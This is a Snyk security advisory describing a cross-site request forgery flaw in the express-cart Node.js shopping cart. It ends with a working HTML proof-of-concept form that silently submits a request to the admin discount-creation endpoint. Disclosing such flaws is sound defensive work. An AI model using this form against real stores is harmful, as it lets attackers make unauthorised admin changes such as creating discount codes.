Cross-site Request Forgery (CSRF) Affecting express-cart package, versions *


0.0
medium

Snyk CVSS

    Attack Complexity Low
    User Interaction Required
    Scope Changed

    Threat Intelligence

    Exploit Maturity Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-EXPRESSCART-585983
  • published 21 Jul 2020
  • disclosed 21 Jul 2020
  • credit saddean_

Introduced: 21 Jul 2020

CVE NOT AVAILABLE CWE-352 Open this link in a new tab

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

express-cart is a fully functional shopping cart built in Node.js (Express, MongoDB) with Stripe, PayPal and Authorize.net payments.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) via admin.js.

PoC:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:1111/admin/settings/discount/create" method="POST">
      <input type="hidden" name="code" value="CSRF&#45;CODE&#45;DEMO" />
      <input type="hidden" name="type" value="percent" />
      <input type="hidden" name="value" value="30" />
      <input type="hidden" name="start" value="21&#47;02&#47;2020&#32;14&#58;32" />
      <input type="hidden" name="end" value="22&#47;02&#47;2020&#32;14&#58;32" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>